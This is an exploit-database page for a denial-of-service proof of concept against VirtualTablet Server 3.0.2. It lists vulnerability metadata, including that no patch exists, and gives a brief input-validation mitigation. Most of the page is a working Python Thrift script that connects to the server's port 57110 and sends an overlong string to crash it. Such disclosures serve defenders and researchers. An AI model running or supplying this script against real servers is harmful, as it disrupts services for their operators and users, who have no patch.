VirtualTablet Server 3.0.2 - Denial of Service (PoC)

vendor:

VirtualTablet Server

by:

Dolev Farhi

7.5

CVSS

HIGH

Denial of Service

CWE

Product Name: VirtualTablet Server

Affected Version From: 3.0.2 (14)

Affected Version To: 3.0.2 (14)

Patch Exists: NO

Related CWE: N/A

CPE: a:sunnysidesoft:virtualtablet_server:3.0.2

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2020

VirtualTablet Server 3.0.2 – Denial of Service (PoC)

A denial of service vulnerability exists in VirtualTablet Server 3.0.2 (14) due to improper input validation. An attacker can send a specially crafted request containing an overly long string to the vulnerable server, resulting in a denial of service condition.

Mitigation:

Input validation should be performed to ensure that user-supplied data is of the expected type, length, and value.

Source

Exploit-DB raw data:

# Title: VirtualTablet Server 3.0.2 - Denial of Service (PoC)
# Author: Dolev Farhi
# Date: 2020-04-29
# Vulnerable version: 3.0.2 (14)
# Link: http://www.sunnysidesoft.com/
# CVE: N/A


from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from pygen.example import Example

host = '192.168.1.1'
port = 57110

try:
    transport = TSocket.TSocket(host, port)
    transport = TTransport.TBufferedTransport(transport)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
    client = Example.Client(protocol)
    transport.open()
    client.send_say('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
    transport.close()

except Thrift.TException as tx:
    print(tx.message)